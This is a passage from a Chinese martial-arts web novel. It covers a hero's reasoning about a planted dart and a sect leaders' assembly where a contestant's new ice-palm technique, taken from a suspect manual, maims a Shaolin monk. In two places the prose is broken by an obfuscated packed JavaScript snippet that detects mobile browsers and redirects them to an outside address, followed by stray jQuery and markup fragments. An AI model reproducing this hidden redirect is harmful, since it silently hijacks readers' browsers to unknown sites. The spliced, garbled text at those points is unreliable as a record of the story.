就来了,这枚七星镖是怎么去到千里迢迢的黔南江家的?是谁,在什么时候,以什么样的方式和手段从兵器库盗窃了七星镖,然后携着它远赴千里,只为用它灭了江家满门。他这么做的动机和目的是什么。” 纪霜华想了想,道:“如你所说,借刀杀人。” 季歌道:“我也是这样想的。只是那夜在江家宅院,我是无意间,在草丛里的泥里发现的这枚飞镖,当时并无人察觉。事后,还检查了附近,并未发现有其他飞镖,仅此一枚。” “如果对方想栽赃陷害,为何只在现场留下一枚,留下多个岂不更容易被人发现?并且为何不用我们问心剑派常用的兵刃,而是用一枚早在十年前便被自家门派封禁,眼下大多数江湖人或已遗忘,并不熟稔的兵器,这点岂不蹊跷古怪?” “并且那江家宅院地处黔南,荒无人烟,远近并无邻居,十分偏僻隐蔽。在那儿杀了人,怎么会有人知道?那江平川又是一代宿儒文人,能挑那么偏远的地方避世而居,想来也是个心性清静,不喜与外界打交道之人,与江湖人的来往应该也不多。杀这样一个人,于他有什么好处?那种消息闭塞之地,要想将灭门惨案传扬出去,想必要费不少功夫。就像如果不是今日我跑来将此事告诉娘,想必娘也不知。” 纪霜华轻轻点头。 季歌叹了声气,道:“事发十多天了,我沿途回来,还没有从一个江湖人嘴里听到大家议论此事,无论客栈,茶庄还是酒馆,这点属实诡异。” “如若对方真的想嫁祸我们衡山,只需在距离衡山不远的地方,用我们问心剑派常用的白剑杀人,并且在杀人后及时将此事传扬出去,引得各路人士前去查看。大家该报官的报官,该出头的出头,该申冤的申冤,该行侠的行侠,何愁不能嫁祸给衡山?何以要用这种笨拙棘手的方式,岂不怪异?” 说着眉头紧锁,陷入深深的沉思当中。 灵甜站在一旁听了半晌,忽然道:“季哥哥,那天你捡到那枚七星镖,怎么没有说啊,我都不知道此事。” 季歌缓过神来,道:“当时孟浪和张衡在场,他二人毕竟是你我半路结交之人,虽是霹雳帮的副帮主,却相处时日过短,底细不知,为人也尚不明朗。” 顿了顿,“况且此事事关衡山,一旦泄露出去,引得问心剑派声名有损事小,被别有用心的人传出去,闹得沸沸扬扬,给家门带来祸端事大。人心如海底针,还是小心为上。” 纪霜华闻言,温声道:“想不到我的季儿出去了一趟,竟然懂了这么多,都懂得防人心了,做事够谨慎,为娘的为你高兴。” 说着轻轻叹气,道:“这么多年你被你爹爹关在山上,一直苦读诗书,娘一直担心你会变成个只懂修习武艺的书呆子,还担心万一有一天你下了山,行走江湖经验不足,被人骗了,欺负了怎么办。照眼下看,完全不用担心。你这次出去学到了很多,也得到了不少历练,以后一定有出人头地的一日,为娘的很是欣慰。” 闻言,季歌脸上现出一丝苦涩来,“若是我从小就能下山,和其他同伴一样正常行走江湖,想必这么精彩的江湖风光能够提早见到,一些有趣的人和事也能提早认识,提早接触。真是可惜,可惜。” 纪霜华见他脸现难过之色,温声宽慰道:“没事,现在也不晚,以后有的是机会。” “嗯。”季歌点了点头,道:“方才之事,娘考虑的怎么样了,心里可有盘算?” 纪霜华方才苦思良久,心中也无计策。见他这么问,思前想后,终是道:“此事事发突然,个中又十分蹊跷隐秘,确实得和你爹爹通个气儿。只是他现在为了筹备掌门人大会,已经在磨镜台连续住了十几日了,整日夜不归宿的,连娘都好些日子没见了,劝也劝不动。此事如若不急,一切等开完大会再说吧。” 见季歌沉下脸来,又道:“你也知道你爹爹的性子,一忙活起来什么都不顾了,做事十分严谨,生怕中间出了什么差错。办岔了,办漏了,都不行。” “他这个人啊,对别人要求极高,对自己要求更高,容不得自己经手的事有半分瑕疵,更容不得一手操办的事在自己手里出了差错。掌门人大会这么重要的事,总得办好,办得风光,让天下人瞩目,交口称赞不是?” 见季歌还是面色不豫,又道:“再说,你出去这么多天,你爹气得一跳三尺高好几天了,满肚子火气没地儿撒。左等右盼,终于盼回来一封信,还只写了‘我不日归’四个字,语气又是冷漠,又是生硬,把你爹气得一宿没睡,这会儿正动肝火呢。没派人出去抓你回来一番重罚,都是手下留情了。” “眼下他一番心思全都扑在盛会上,就算你去告诉他这些,他也没心思听。就算听了也顾不上,无暇分心,总之是手头的事要紧,盛会要紧。” 季歌见她这么说,只好作罢。 13. 群雄盛会 三日后,天下掌门人大会在磨镜台如约召开。 天下掌门人大会乃一年一度的武林盛会。每年由各门派轮流坐东,邀请各派人士前来切磋武艺,商讨大事,处理江湖纷争。这一年,便轮到了衡山问心剑派。 天才蒙蒙亮,磨镜台便来了不少人。现场红毯铺地,红绸红布,张灯结彩。围着偌大的演武场周围,摆放了上千张红木太师椅。每张太师椅上放了一小壶水,一小盘瓜果点心,一小碟瓜子,以供各门派弟子观战享用。 围着演武场第一排的座椅,每两张太师椅中间搁了一张茶桌,桌上备了大盘的水果甜点,瓜子花生,一壶泡好的龙井,两盏茶盅,以供各派的掌门享用。 问心剑派作为本次盛会的东道主,季怀璋和夫人纪霜华的座椅设在演武场坐北朝南的正中。以他二人为中心,左首依次排开,依次是北少林,青衣派,泰山派,青城派,四方宫,金刀寨等门派。右首依次是南少林,武当派,玉琨派,雪淞派,点苍派和天龙门等门派 论资排辈,共计五十个门派。 作为武林人最为期待的盛会,在场的年轻小辈均表现出一副跃跃欲试的。他们心怀热忱,急盼能与其他门派互相切磋较量,取长补短,瞧瞧这一年来自己进步与否,再不济,交个朋友也好。 这是小的,往大了说,就是各派掌门的心思了。偌大的盛会,谁不想借此露一露脸,炫耀一下本派新得的独门功法,结交他派掌门,或互授武学,交流心法,或结拜联姻,建立更为稳固的关系。 而这次盛会最为瞩目的是,作为武林第一大派,一向秉持公平正义,擅于为江湖同僚主持公道的问心剑派,是继十一年前季怀璋创立天下掌门人大会以来,第二次成为东道主。 各门派或出于对问心剑派博大武学的敬畏,或出于对季怀璋个人的崇拜敬仰,都十分捧场。不到正午,小小的磨镜台便聚拢了上千人众。现场只剩下青衣派、金刀寨和四方宫的椅子还空着。 季歌和灵甜早早的就来了,寻了半天发现自己的椅子竟然设在父亲和母亲的座椅后面,心里一阵苦恼。二人一坐下,便东张西望,寻思着能不能换个位置。目光在场中缓缓逡巡,忽然听到磨镜台的入口一阵欢声雷动,掌声如潮,季怀璋和纪霜华穿着一身华丽衣裳,在上千人众的簇拥和翘首下走了进来。 他二人手牵着手,来到场地正中,先是和在场众人简单打了声招呼,随后便绕着演武场缓缓行进,来到各派的掌门面前,依次向他们和他们身后的弟子问好,互道家常。现场锣鼓齐喧,唢呐奏响,好不热闹。 待到一圈走完,二人向自己的座椅走来。远远的见到季歌在看到自己过来的一刹那,畏惧地低下了头,季怀璋立时沉下脸来。纪霜华瞧见了,忙道:“老爷,季儿这次出去吃了不少苦,你就别训他了,他心里也知错了。眼下正事要紧。” 季怀璋没有吭气。来到椅子前面,见季歌听到自己过来,缓缓站起了身,抬起头,看着自己,眼神躲闪,面带怯意。登时心里来气,哼了一声,道:“你还知道回来!” 季歌默默低下了头,没有吭气。 季怀璋瞧着他这副垂头丧脑的模样就觉讨厌,愠道:“说话,你怎么不说话!”脸上薄怒微生。 季歌唇角翕合,嘴唇动了又动。半晌,终于从那条细缝里挤出几个字来:“父亲,孩儿知错了。” 他声如蚊蚋,“等到大会开完,孩儿自请去戒律堂领二十道板子。” 季怀璋道:“还算你有点自知之明。”说着,一掀衣摆,在椅子上坐下,脸上怒意不减。 纪霜华见他父子关系紧张尴尬,忙跟着坐下,向季歌道:“知错就好,知错就好。”灵甜坐在一旁看着,全程大气也不敢出。见纪霜华回身向她做了个手势,示意她安慰一下季歌,当即点了点头。 只见季歌耷拉着脑袋,一副垂头丧气模样,只是两句交锋,便已不复方才进场的少年阳光,一时心里又是难过又是拧巴,不知如何开口。 正当此时,演武场入口突然传来一阵吵嚷声音。季歌抬起头来,见大多数门派已经落座就位,盛会即将开始,现场噤若寒蝉,十分安静,心想:“在场诸人皆一副循规蹈矩,秩序井然,到底是谁这么没眼色,胆敢公然喧哗。” 目光徐徐望去,却是金刀寨大批人众簇拥着金木兰,浩浩荡荡走了进来。 只见金木兰手持钢刀,大摇大摆地走在队伍前面,脸上一副容光焕发,志得意满神色,比起那日在沐恩谷的豪气干云,又多了几分洋洋得意。 季歌心道:“看来孟兄张兄一直眼红的那本破空刀法,着实帮金木兰重新获取了门人的信任,否则绝不可能是眼下这般情状。” 正如此想着,紧随其后,吴长风搀着一位白发老者缓缓走来。那老者面容苍老,脸上遍布皱纹,白发飘然,走路时脚下颤颤巍巍。若不是有人在旁搀扶,恐怕早已倒下。 季歌心道:“这当是四方宫的玄极掌门了。”但见他二人身旁并无其他人陪同,似乎今日来此,只带了他的大弟子吴长风一人。 吴长风扶着玄极走到四方宫的位置坐下,自己也隔着红木桌坐下,脖子一扭,脸现倨傲之色。应是觉着身后摆放了上百张座椅,却都空空荡荡,放眼整个四方宫,唯独他和师父得以坐镇于此,神色间很是洋洋得意。 季歌心道:“歪脖子公鸡,得了本金乌心经,也不过是化解了七伤拳的危害,不见得有多厉害。” 原来四方宫的祖师爷木灵子自打创立七伤拳以来,饱受非议,只因这套拳法伤敌力强,伤己也重,或刚猛或阴柔,在摧伤敌人脏腑的同时,自身也会受到极大损害。轻了摧肝损肺,重了令人狂性大发,不可自抑。先伤己,后伤敌,一练七伤,故名七伤拳。 修习这套拳法须得内功雄浑深厚,臻于化境,否则便是伤敌一千,自损八百。自打木灵子发明了这套拳法,四方宫上下人等无不为之苦恼。对于这套拳法,人人都抱着一样的想法:既想探究其中奥妙之一二,又恐提升不成,反受其害。 故此,七伤拳虽延续百年,却也只有历代掌门和少数修为较高的弟子修习,资历较低的弟子决不敢轻易涉足。然而玄极是个胸怀抱负之人,待他坐上四方宫的掌门之位,便一门心思的想将祖师爷创立的这套拳法发扬光大。不惜穷尽一生,殚精竭虑,去探索能与七伤拳抗衡的内功心法,却郁郁不得志。 而上一次神秘的谷中聚会,吴长风意外获得了一本闻所未闻的金乌心经,一度心下狂喜。他知道师父的心结在哪儿,也知道有了这本金乌心经,自己的好日子就要来了。 他小心翼翼地将心经带回四方宫,慎之又慎地交至玄极手中。玄极将信将疑地将他睨了一眼,随后翻阅起来。吴长风则立于一旁,一边看着玄极翻阅心经,一边绘声绘色地讲起了自己在沐恩谷的所见所闻,其间免不了添油加醋之说。 玄极看着看着,起初一张难以置信、疑虑重重、将信将疑的脸逐渐转为惊疑不定、既惊且佩、如获至宝的大喜神色。 待到心经看完,他默默阖上经书,闭上眼睛,冥思苦想了半晌,道:“这本经书虽然来历不明,但为师粗浅看了几眼,似乎里面的内容精微奥妙,也许真如沐恩谷的那位老谷主所言,其中有抗衡七伤拳危害的效果,也许真的可以弥补七伤拳天然的不足。”说着缓缓睁开眼睛,看着吴长风,捋须笑道:“长风,你这次立大功了。为师觉着可以一试。” 闻听此言,吴长风一颗紧张的心彻底放下了,心想可算踏实了,自己在四方宫青史留名的机会终于到了。 自此,玄极捧着那本金乌心经,在四方宫的后山开启了他的闭关修行。这一闭关,不知不觉便是两年之久。这两年来,四方宫大小事务,全都交由大弟子吴长风负责,一时间占尽了风头,不是掌门,胜似掌门。 玄极对他也委以重任,也是因此才只带了他一人参加盛会。而今日盛会,也是吴长风在献上金乌心经后,第一次见到师父。 其中的心法奥妙,师父掌握了多少,他不知道。他只是发觉,这两年来,为了研习这套心法,师父殚精竭虑,老了不少。 正发着呆,忽然感觉有人碰了碰自己。季歌回过头来,已见灵甜睁着一双水灵灵的大眼睛,眼神发亮地望着入口方向,道:“青衣派来了。”脸上似笑非笑。 季歌循着她的目光看去,只见宣仪师太率着一众青衣弟子缓缓走了进来。众姑子均着一身青衣,高扎马尾,背负长剑,一副劲装结束模样。人人面部妆容洁净,精神体态俱佳,远远望去,就如一排排生长齐整的白桦林,一派生机盎然景象,蔚为壮观。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468419|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静姝和静慧分列宣仪左右,唯独不见静柔。 待到众人坐定身子,场中安静下来。季怀璋站起身,面向众人,朗声道:“诸位,很荣幸,十一年后,东道主的位置又回到了我们问心剑派手里,先和大家说声久违了。” 群豪闻言,纷纷面露喜悦,高声叫道:“怀璋兄好!” 季怀璋本名季玉,字怀璋,武林同道景仰他的为人,都喜欢称他一声“怀璋兄”。 待到掌声陆陆续续停下来,季怀璋道:“我们长话短说,今天的大会议程一共有三项,一是各派切磋武艺,二是交流比试心得,三是商议成立江湖盟之事。” “按照此前的抽签顺序,首先由少林寺对阵雪淞派。请——” 一语毕,场中立时掌声雷动。 下面很快有人开始议论:“还是人家问心剑派体面啊,你看这现场布置的,红绸红毯,风风光光,十分重视。安排得也周到妥帖,瓜果点心都有,不像去年那个点苍派,什么都没有,人人一张小板凳从早坐到晚,一口水都没喝上,老腰都坐折了。” “谁说不是呢。”旁边另一个门派接茬,“就算来得人多,也不能不备椅子啊,人人一张小板凳,谁受得了,都是上了年纪的人!” “再说,人再多,能有人家问心剑派的人多?他们点苍派去年也就去了六百人,人家问心剑派可是来了有上千人,方才我瞄过礼单了。” “说的没错。”又有人道:“还有那个天龙门,也不知怎么选上去的,江湖排名第五十九,竟然也能成为主办方,举办这么大的盛会,真是可笑。要说里面没点黑幕,鬼都不信。” “确实。”另一人道:“啰里吧嗦,光议程就整了十几项,不就比个武吗,有必要整那么复杂,重复性的事务那么多,浪费别人时间。要我说,没有金刚钻就别揽瓷器活儿,干不了就别弄。” “是这个道理。”又有人道:“还有那个泰山派,不知道怎么弄的,竟然让武当派对阵金刀寨,这不是扯犊子吗?这两个门派是一个量级的吗?这俩对打,有什么可看的?有什么可比性吗?” “抽签也不知道怎么抽的,蒙着眼抽好歹也得分个上中下区啊,你让骡子踩小鸡。有什么趣味可看?” “没错。”另一人被他们一说,激得心里也有点生气。“还有那个青城派掌门解不明,讲话罗里吧嗦,车轱辘话一大堆,说个半天也没一句能说明白,直听得人昏昏欲睡。搁那儿一上午如坐针毡,如芒刺背,如鲠在喉,痛不欲生。也不知我们是来观武的,还是来受他折磨的。” “解不明,解不明,我看他确实讲不明白。” “别说了,我头都大了。”另一人听他一直提起解不明,不停地挠头,“解不明是个傻锤,那玉琨派的掌门仇正浓更是个奇葩。” “他们玉琨派远在西域,昆仑山那是人能去的地方吗?三年前去了一趟,差点死半路了。自己什么哈数也不看看,又远又冷,气候恶劣,卯足了劲儿,削尖了脑袋抢着当东道主,挤得那叫一个头破血流,就为了那点礼金,结果就去了一百人,也不嫌臊得慌。” “嗨,你可别说,一百人的礼金也够他们烧一个月柴火了,可别把他们冻死。” …… 一说起各门派的糗事,底下就像坐了一千只鸭子,怎么都说不尽兴。几个人抱团吐槽了半天,却唯独对问心剑派的操办十分满意。 只因在他们眼里,季怀璋无论为人,处事,还是做派,都可以称作一声“武林宗师”。十几年来,不仅为衡山门人寻求上进,抵御外敌出了不少力,更替江湖上的其他门派解了不少棘手难题,深孚众望。又兼他身长八尺有余,长得是身高膀阔,胸宽腰挺,天庭饱满,说话时又声如洪钟,周身一派宗师气质,能一呼百应也不奇怪。 对江湖人来说,求同存异实在是件难事。往年的天下掌门人大会上,总有个别门派或对主办方的身份不满意,觉着应当另选贤能。或是觉着议程太满,啰哩啰嗦,耽误时间。或是对抽签的顺序不满意,质疑主办方怀挟私心。 而到了季怀璋这里,以上问题均不存在。大家深知他的为人,知道他对所有门派都一视同仁,同等看待。除了做事干练爽利之外,还有一个特别重要,且关键的点,那就是—— 话少。 14. 群雄盛会(2) 话音刚落,少林派便派出了智上场。 了智和尚,是南少林和北少林在经历了三天三夜的唇枪舌剑后,选出的一位深耕北少林拳法、却操着一口闽南语的河南籍和尚。 雪淞派则派出了五弟子闫让礼上场。二人代表各自门派出战,表面针锋相对,拳脚上却都留有余地,只因大家来此只为切磋,并不同台竞技,何况赢了也无甚奖赏。所以实力悬殊的情况下,武力较强的一方也并不出力。 而输掉的一方,多少脸上会挂不住,是以旗鼓相当的情况下,双方也会使出浑身解数,下手不狠,却都难缠,不为赢,只为不输。 无论以上哪种情况,比试的结果都只有一个,那就是勉强打个平手,不丢自己的人,也不伤对方和气。 果然,了智和闫让礼刚过了没几招,季歌便觉兴味索然,开始有一搭没一搭的和灵甜闲聊。季怀璋在前面听到,本不想搭理,耳听得他二人说话声音越来越高,愈聊愈是尽兴,吵到了周围的人,禁不住心里生气,重重哼了一声。季歌听到,惊得一个哆嗦,连忙噤声,不敢言语。 纪霜华斜斜瞟了他一眼,见他脸色沉郁,捂嘴笑道:“你呀……” 季怀璋瞅她一眼,语气不快道:“我怎么了?” 纪霜华叹了叹气,道:“季儿不是小孩子了,不是所有问题都只有恫吓和震慑的方式才能解决。老爷以后教育孩子还是要注意方法。” 季怀璋道:“哼,我看别的法子对他都不好使,挨鞭子挨板子他都不怕,就差这一声哼。”说着一声冷笑,“就这他还不听呢,表面装得机灵乖巧,背地里还不是我行我素,胡作非为,阳奉阴违,想干什么就干什么。” “你看就让他去少林,武当和青衣派送个请柬,别的地方也不用他去,最多俩月就跑完了吧?至于离家出走半年多?你说他对他老子,是真害怕还是装的?” 纪霜华见他一副喋喋不休,捂嘴笑道:“老爷你还别说,季儿这次出去,可是长了不少见识。说话头头是道,很有条理。以前我总担心他常年待在山上修习武艺,会变成个榆木脑袋的书呆子。下山以后又担心他行走江湖经验不足,受人蒙骗戏弄。经过这次才知道,原来我们的季儿聪明得很哪,脑瓜子十分清楚,遇到事情,推理能力也很强,倒是我这做娘的有些杞人忧天了。” “是吗。” 季怀璋听她这么说,面色稍稍好转了些许。然而只是片刻,便又恢复了方才的阴森冷郁,冷冷道:“只盼他莫要聪明反被聪明误,着了别人的算计才好。” 纪霜华面色一滞,没再说话。 只见场中比试的二人渐渐进入状态,激斗正酣。了智一套罗汉拳使得虎虎生风,闫一温一套雪淞快慢十七路剑法同样使得出神入化。全场人的目光都被两人吸引住,季歌见父亲没再注意自己,又觉坐在这里说话忒不自由,总不能全程都憋着,于是趁众人鼓掌叫好之际,悄悄离开了座位。 然而他一起身,季怀璋便察觉到了。余光瞥到他从过道蹿出去,立时如逢大赦般,飞也似的跃下高台,直奔青衣派的方向去,忍不住向纪霜华牢骚道:“你瞧瞧,都教成什么样儿了,一点儿规矩也没有,好端端地走下去是要了他的命了,这么多人看着,非得上蹿下跳,跟只野猴儿似的,真给他老子长脸。” 顿了顿,“我看他这二十多年在山上是一点没学好,还得继续关着。” 纪霜华斜眼睨他,笑道:“是啊,谁叫他有一个凶神恶煞的爹呢,老鼠见了猫,还不得跑快点。” 季怀璋心里有气,喉头滚动了两下,说不出话来。半晌,道:“你就惯着他吧。” *** 静慧刚叫了声“好”,便觉有人拍了拍她。回头一看,却是季歌,当即喜出望外,笑道:“季少侠,我方才一直没找到你,还以为你被令尊禁足了。” “……” 季歌扶了扶额,道:“静慧妹妹,你可真会说话。” 静慧道:“素闻季掌门一向疾言厉色,不苟言笑,治下有方。你又第一次下山,还想着是不是因为你性子太过顽劣,不服管教,被季掌门给罚了……” “……” 季歌又扶了扶额,“静慧妹妹,你的话倒是不太好接……” 静慧瞧着他的表情,咯咯一笑,道:“逗你玩呢。”说着摇头晃脑,故意拉长了语调,“想来我们的季少侠光风霁月,仗义行侠,本领滔天,怎会被禁足在这小小的衡山不是?” “你快别说了,越描越黑了。” 季歌再度扶额,道:我只问你,柔儿妹妹怎么没来?” 闻言,静慧一张脸瞬间黯淡。季歌看她脸色不对,试探道:“难道与那部剑谱有关?” 静慧看他脸色认真,点了点头,又快速摇了摇头。季歌见情况不对,压低了声音,道:“怎么回事,你说,我不会告诉别人。” 静慧本来不想说,只是一看到季歌一双桃花眼里满是询问的期冀,偶尔还会流露出些许纯良无害的意味,便即招架不住,思前想后,终是道:“那日你走后,师父把我们三个叫到后殿,询问那本剑谱的来历……” 季歌微微侧目。 “大师姐害怕师父,不敢直言,我也不知那本剑谱到底什么来历,当不当说,便也没有吭气。结果师父越骂越是生气,越骂越是难听,一个劲儿的质问此事。见我们三个杵在地上都不说话,终于大发雷霆,放出狠话,说如果我们不说,便要将我们逐出师门,永不复用。” “当时我害怕极了,浑身发抖,嗓子眼里硬是一个字也蹦不出来。大师姐跪在地上,也是浑身战栗,一言不发。师父看我们没人交代,勃然大怒,突然拔出剑来,将桌子一角砍了下来。这时,静柔忽然开了口,说一切是她干的。” 季歌惊道:“她怎么说的?” 静慧道:“她说沐恩谷想要江南贾家的楚玉,她便在夜里悄悄潜入贾家,盗取了楚玉。路上听说那贾家经常横行乡里,鱼肉百姓,一味地为府上聚富敛财,为所欲为,乡里乡亲苦不堪言。想起师父日日教导的‘仗剑行侠,打抱不平’来,心中豪侠之气顿起,终于没忍住一把火将贾家烧了。” 季歌吃了一惊,忙道:“你师父相信了?” 静慧道:“算是信了吧。因为师父很快问起了她为何要答应沐恩谷的要求,用楚玉换这本剑谱。” 季歌道:“她怎么说的?” 静慧道:“她说本门的青衣剑法至阴至柔,不够阳刚,师父研习日久,付出了大量青春年华,十分辛苦,却进展得缓慢。而沐恩谷的这本无极剑谱,至阳至刚,正好可以弥补青衣剑法的不足,取采阳补阴之用。” 季歌噗嗤笑出声来,道:“柔儿妹妹看着乖巧可爱,不想净说些虎狼之词。” 静慧道:“是啊,我和大师姐都没想到,她会自己站出来认罚,事后心里都有点愧疚,觉着对不起她。” 季歌道:“她说这话时是什么表情?” 静慧想了想,道:“记不清了,总之义正言辞,面不改色,脸不红心不跳的。” 季歌又是一声笑,一想到她一副乖巧可爱,天真无邪的模样,一本正经地说着这些鬼话,就觉好笑。 见静慧面露愧色,便道:“不过你也不要太过内疚,她也是不想你和你师姐被师父责罚,一人受罚总好过三人受罚。何况她是你师父的亲传弟子,最多也是轻罚,不会受太多苦,你师父不会为难她的。” 静慧一声长叹,道:“情况好像没这么简单。” “那日师父听完后,勃然大怒,将桌子的一角砍了下来,又将手跟前的一张几案劈得四分五裂。她大骂静柔糊涂,还说后悔收她为徒,并且大骂那本书是邪书、妖书、禁书,是江湖失传已久,能让人心智大乱的害书!” 季歌怪道:“有这么严重?”心里琢磨:“难道不止那沐恩谷蹊跷古怪,谷里赠送的秘籍也有问题?” 静慧点点头,道:“是啊,我们也没想到师父会发这么大脾气。当时我和大师姐跪在地上,身子瑟瑟发抖,吓得一个字都不敢接。亲眼看着师父将那本妖书撕成两半,扔在地上,愤然离去。自此,静柔便被禁足在了梵净山上……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468420|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “禁足多久?”季歌道。 静慧摇了摇头,“师父没说,我们也没敢问。” 季歌沉吟片刻,道:“你师父为什么说那本剑谱是邪书、妖书、禁书,还说是什么江湖失传已久,能让人心智大乱的害书?难道她以前在哪儿见过?” 静慧轻轻摇头,道:“此事我也不知。总之师父态度非常坚决,语气也很是生硬,还当场把那本书撕了,也没带走,想来心里是真的觉得那本书有害。” 说着面露迷惘之色。 季歌一时听得也似懂非懂。 正当此时,场中突然传来一声惨呼。季歌和静慧齐齐抬眼,看到了智将闫让礼一把击了出去。闫让礼摔出老远,却很快站起身,轻轻一拍身上的灰尘,似乎伤得并不重。了智则保持一双肉掌推出的姿势,半天没收回来。 然后下一刻,便见他双目圆睁,面目狰狞起来。季歌定睛一看,才见他一双推出去的肉掌连带着两条手臂已缓缓结出寒冰,冻疮四起,登时发出一声惊呼。 这时场中余人也看到了,纷纷你看看我,我看看你,不知其间发生了何事。闫让礼看了眼自己方才与了智相击的一双手掌,面露诧异之色,似乎也没想到何至于此。 只是片刻,了智一双肉掌便肿了好几层厚,连带着整条手臂手腕都不能动了,仿佛两根僵硬的树干横在半空。了智僵硬地回头,眼神无助地望向站在场下的无尘方丈,艰难地开口,道:“师父……救我……”面露痛苦之色。 “住手!” 季怀璋及时叫停了比试。 场下一片哗然。 少林方丈无尘大师早已看出了不对,一经叫停,几个箭步冲上台来,扶住了了智,让他倒在自己身上。扶着了智两条冻僵的手臂,向站在场下的闫无虚道:“闫掌门这是何意,说好的点到为止,为何出手突然如此狠辣?!” 语气神貌甚是疾言厉色。 闫无虚完全不知场上发生了何事,露出一脸迷茫来。眼光缓缓转向闫让礼,却见他也是一脸迷惘,仿佛方才出手并不是出自本意。 闫无虚看着闫让礼,道:“怎么回事!”声音里勉力压抑着怒意。 闫让礼不可思议地看着自己的一双手,道:“师父我也不知刚才发生了什么,徒儿只想用自家门派的寒冰神掌与对方相斗,也不知怎的,稍一发力便这么重,竟然出了这种状况。师父,请相信我,徒儿并不想伤人……” 闫无虚心下略一揣摩,突然了悟过来。日前闫让礼回到嵩山,将沐恩谷得来的那套大罗寒冰神掌秘籍带了回去,面呈给他看。他看完后,对秘籍中的内容稍加琢磨,便觉博大精深,奥妙无穷。且这套掌法在自家门派寒冰神掌的基础上做了一定的修漏补缺,功力却提升了一倍,似乎是一套精妙绝伦的招式。于是想也没想,便将这套招式推广给了门人修习。 只是没想到,方才闫让礼与了智对掌时,无意间竟将这套掌法使了出来,以致伤及旁人。他素知闫让礼为人谦冲文雅,不是会故意伤人之人,只是不知方才他是有意要试试这套新掌法的威力,还是因这两套掌法招式十分相近,使出寒冰神掌时不自觉将大罗寒冰神掌带了出来,以致发生眼下局面。 而闫让礼此时也说不清楚,他也不知这套掌法是自己跑出来的,还是使出寒冰神掌时带出来的,总之无论如何也没想到这套掌法的威力如此惊人,杀伤力如此之强。 闫无虚见无尘大师扶着了智缓缓坐倒,盘膝于地,为他疗伤。却见输了半天内功,了智一双手臂仍是冰冻三尺,担心要出事,当即冲至场上,看着闫让礼,骂道:“你干出这等事来,要为师如何收场!” 闫让礼面朝闫无虚跪了下来,揪着他的衣角,哭道:“师父,我不是故意的,您饶了我吧,我不是故意的……” 闫无虚怒道:“待我弄清此事,再回去清理门户,休要哭哭啼啼,教人讨厌!”说着抬起手来,一掌拍在闫让礼的后心,闫让礼一声惨呼,登时晕了过去。 众人见他对自己的徒弟都下此狠手,顿时吃了一惊,纷纷面露惧色。 15. 群雄盛会(3) 无尘大师向了智输送了半天真气,缓缓收手,站了起来。 季怀璋道:“无尘大师,令徒怎么样了?” 无尘大师叹了叹气,道:“老衲用易筋经护住了他的心脉,免得手臂上的寒气扩散至心脉,危及性命。至于手臂上的寒冰,须得尽快将他带回少林寺,请名医诊治。伤情如何,还待后续慢慢观察。” 季怀璋叹道:“抱歉,敝派出了这样的事情,令大师爱徒重伤。季某在此赔罪了。”说着向无尘大师作了深深一揖。 无尘大师缓声道:“不关问心剑派的事,此事全由雪淞派引起,闫掌门须得给老衲一个交代。”说着眼光徐徐转向立于一旁的闫无虚。 闫无虚见状,忙道:“孽徒出手无状,重伤了方丈爱徒,在下回去定当严审严查此事,看他到底是何居心,出于什么目的才下此狠手。待到真相水落石出,在下定会拎着孽徒,亲至少林寺赔礼道歉,给方丈和贵派诸位弟子一个交代。在此期间,还望方丈和众位弟子耐心等待。” 无尘大师沉下脸来,没有答话。闫无虚见状,又道:“至于令徒手臂上的伤,在下愿出重金,遍访天下名医为令徒诊治。还望大师宽宥则个。” 无尘大师听他这么说,心想:“眼下盛会还在进行当中,不好追究此事。况且闫让礼已被他一掌拍晕了过去,无法再行审讯。”眼看了智倒在地上,脸色发青,唇角虚白,已然昏晕过去,心想:“还是了智的伤要紧,须得尽快寻找名医为他诊治,否则时间一长,他一双手臂可就废了。到时就是华佗在世,也是回天乏术。” 想到这里,向季怀璋朗声道:“季掌门,徒儿伤重,需得尽快诊治,老衲这便带着徒儿和众位弟子先回少林了,给诸位带来不便,还请见谅。”说着向他拱了拱手。 季怀璋本就心怀歉疚,听他这么说,站起身道:“来人,护送无尘大师和众位少林弟子回嵩山。”他心知此事虽与问心剑派无关,但毕竟发生在衡山,自己终是难逃干系,是以语气神貌表现得十分谦卑。 三名衡山弟子当即过来。蹲下身,双手抄到了智身下,一人抱头,一人搂腰,一人抱腿,将他合力抬至担架上。全程无一人敢碰他那两根冲天而起的手臂,生怕一不小心给弄折了。 无尘大师望着了智昏迷不醒的惨状,心里悲痛至极,深深叹了口气。回过身来,向众位少林弟子道:“我们走!”语气间又是愤怒,又是无奈。 同门师兄弟抬起担架,朝着磨镜台的出口走去。经过季歌身前时,了智一双手臂兀自直直向上举着,随着担架的颠簸起伏,轻轻摇晃。 结满寒冰冻疮。 待到少林派离场,演武场下的座椅一下子空了一片。上百张红木桌椅空空荡荡,唯剩吃了一半的茶水瓜果摆在原位,杯盘狼藉。 似是被无尘大师这一举止震慑到,现场一片鸦雀无声。 季歌低声道:“若我猜的没错,闫让礼方才使的那一招便是来自沐恩谷的大罗寒冰神掌了。他从沐恩谷取得秘籍后,回到嵩山定是进行了一番修习,否则方才不会贸然使将出来。” 静慧轻轻点头,道:“并且闫无虚肯定知道秘籍的事,他心里肯定清楚问题出在何处。” 季歌听她这么说,怪道:“何以见得?” 